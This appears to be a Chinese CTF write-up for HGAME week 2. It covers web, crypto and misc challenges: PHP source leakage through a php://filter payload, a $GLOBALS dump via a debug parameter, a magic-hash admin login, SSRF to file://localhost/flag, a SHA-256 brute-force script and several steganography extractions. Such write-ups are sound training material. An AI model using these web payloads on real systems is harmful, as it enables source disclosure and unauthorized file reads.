

Week2

Web

留意到 url 上的参数: action=login.php。试试 php 伪协议

action=php://filter/read=convert.base64-encode/resource=login.php

action=php://filter/read=convert.base64-encode/resource=admin.php

得到 admin.php 和 login.php 的 base64 源码



这里的 debug 就可以利用了。Php 有个 GLOBALS，用来存放文件用到的全部变量。因为有两个 \$\$，只要让 \$debug=GLOBALS，那么 \$\$debug 就是 \$GLOBALS。构造 payload:

<http://cosmos-admin.hgame.day-day.work/index.php?action=login.php&debug=GLOBALS>

```
array(11) { ["_GET"]=> array(2) { ["action"]=> string(9) "login.php" ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) {} ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(26) "40m7bk2ucf0vfv63lfpaoemno" } ["_FILES"]
array(0) {} ["action"]=> string(9) "login.php" ["filter"]=> string(18) "/config/etc/flag/" ["_SESSION"]=> &array(0) {} ["debug"]=> string(7) "GLOBALS" ["admin_password"]=> string(32) "0e114902927253523756713132279690"
["admin_username"]=> string(7) "Cosmos" ["GLOBALS"]=> array(11) { ["_GET"]=> array(2) { ["action"]=> string(9) "login.php" ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) {} ["_COOKIE"]=> array(1) { ["PHPSESS"]
string(26) "40m7bk2ucf0vfv63lfpaoemno" } ["_FILES"]=> array(0) {} ["action"]=> string(9) "login.php" ["filter"]=> string(18) "/config/etc/flag/" ["_SESSION"]=> &array(0) {} ["debug"]=> string(7) "GLOBALS" ["admin_password"]
string(32) "0e114902927253523756713132279690" ["admin_username"]=> string(7) "Cosmos" ["GLOBALS"]=> "RECURSION" }
```

后台登陆

得到账号和 md5 弱密码 (随便找个加密后为 0e 开头的就可以当作密码了)。进入后台后，只有一个图片 url 上传。根据 admin.php 源码得知，url 的 host 只能是 localhost 或者 timgsa.baidu.com，并且是用 curl 执行 url。题目的提示是 flag 在根目录。要访问根目录，考虑用 file 协议

file://localhost/flag

得到 flag

Crypto

签到题

由于未知的部分只有 4 位，考虑直接遍历破解。Python 脚本解决

```
import string, random
```

```
from hashlib import sha256
```

```
_hexdigest = 'c61fdf97d7ed6f15167b52db06114a348523eb5186e68e519ecabf54faf343b3'
```

```
part_str = 'VcrFtgDobJE4LtIN'
```

```
Table = string.ascii_letters+string.digits
```

```
print(Table)
```

```
str_4 = ""
```

```
# str_4 = Table[0]+Table[1]
```

```
print(str_4)
```

```

str_4 = str_4.split();
print(str_4)
for a in range(62):
    for b in range(62):
        for c in range(62):
            for d in range(62):
                str_4 = Table[a]+Table[b]+Table[c]+Table[d]
                if sha256(str_4.encode() + part_str.encode()).hexdigest() == _hexdigest:
                    print(str_4)
                    break;

```

Misc

Cosmos 的午餐

下载压缩包，得到 pcapng 和 ssl_log.log 文件

用 wireshark 打开 pcapng 文件，发现有 https，导入 ssl 文件。下载传输文件，可疑的有 8 个 gif 和一个压缩包。折腾一番发现那几个 gif 没啥用。

6103	110.818507	192.168.146.132	52.216.179.187	HTTP
5893	110.805432	192.168.146.132	52.216.179.187	TCP
frame 6103: 8291 bytes on wire (66328 bits), 8291 bytes captured (on interface eth0) on interface eth0 Ethernet II, Src: VMware_47:56:08 (00:0c:29:47:56:08), Dst: VMware_47:56:08 (00:0c:29:47:56:08) Internet Protocol Version 4, Src: 192.168.146.132, Dst: 52.216.179.187 Transmission Control Protocol, Src Port: 49271, Dst Port: 443, Seq: 300000000, Win: 65535, Len: 0 Transport Layer Security 76 Reassembled TLS segments (1221653 bytes): #4946(1029), #4961(1029) Hypertext Transfer Protocol HTML Form URL Encoded: application/x-www-form-urlencoded Form item				

000400	39 0d 0a 0d 0a	50 4b 03 04 14 00 00 00 08 00 bd	9...	PK
000410	7a 32 50 90 c5 c1 f1 60	9f 12 00 7a c0 12 00 15	z2P...	
000420	00 00 00 4f 75 74 67 75	65 73 73 20 77 69 74 68	...Outg	
000430	20 6b 65 79 2e 6a 70 67	ec 9a 57 58 13 51 16 80	key.jp	
000440	c3 22 d2 05 0b 45 aa 52	44 40 aa f4 96 45 a4 8b	..."E	
000450	48 ef 41 7a 89 f4 92 50	a3 48 91 2e 20 20 45 50	H·Az...	

压缩包里是一张图片，名字是“outguess with key”，查看图片属性得到 key。百度得知 outguess 是一种加密，可以把信息藏图片里。尝试分离出信息

```
root@kali:~/ctf_test/outguess-master# outguess -k "gUNrbbdR9
ss\ with\ key.jpg hidden.txt outguess [options] [<input file>]
Reading Outguess with key.jpg....-[sS] <n> iteration sta
Extracting usable bits: 1161827 bits <n> iteration lim
Steg retrieve: seed: 3, len: 24 -[kK] <key> key
```

打开 txt 文件得到 flag

所见即为假

打开压缩包，提示要密码。拖进 010editor 发现是未加密。把数据加密位纠正后得到一张图片，名为 flag_in_picture，查看图片信息，得到“F5 key: NIID7CQon6dBsFLr”。百度得知 F5 是一中加密方式，进行解密

```
root@kali: ~/ctf_test/F5-steganography
File Edit View Search Terminal Help
root@kali:~/ctf_test/F5-steganography# java Extract ./FLAG_IN_PICTURE.jpg -p
1D7CQon6dBsFLr
Huffman decoding starts
Permutation starts
10911744 indices shuffled
Extraction starts
Length of embedded file: 122 bytes
(1, 127, 7) code used
root@kali:~/ctf_test/F5-steganography#
Huffman decoding starts
Permutation starts
10911744 indices shuffled
Extraction starts
Length of embedded file: 1199963 bytes
Default code used
Incomplete file: only 152789 of 1199963 bytes extracted
root@kali:~/ctf_test/F5-steganography#
```

地球上最后的夜晚

用 wbStego4.3open 处理 pdf，得到 decode.txt 文件，里面是 zip 文件的密码。打开 zip 文件，里面是 docx 文档。没什么思路，试试拿到 binwalk 里跑一下，发现最后包含一个 secret.zip 文件。用 dd 命令分离出 zip 文件。打开得到 flag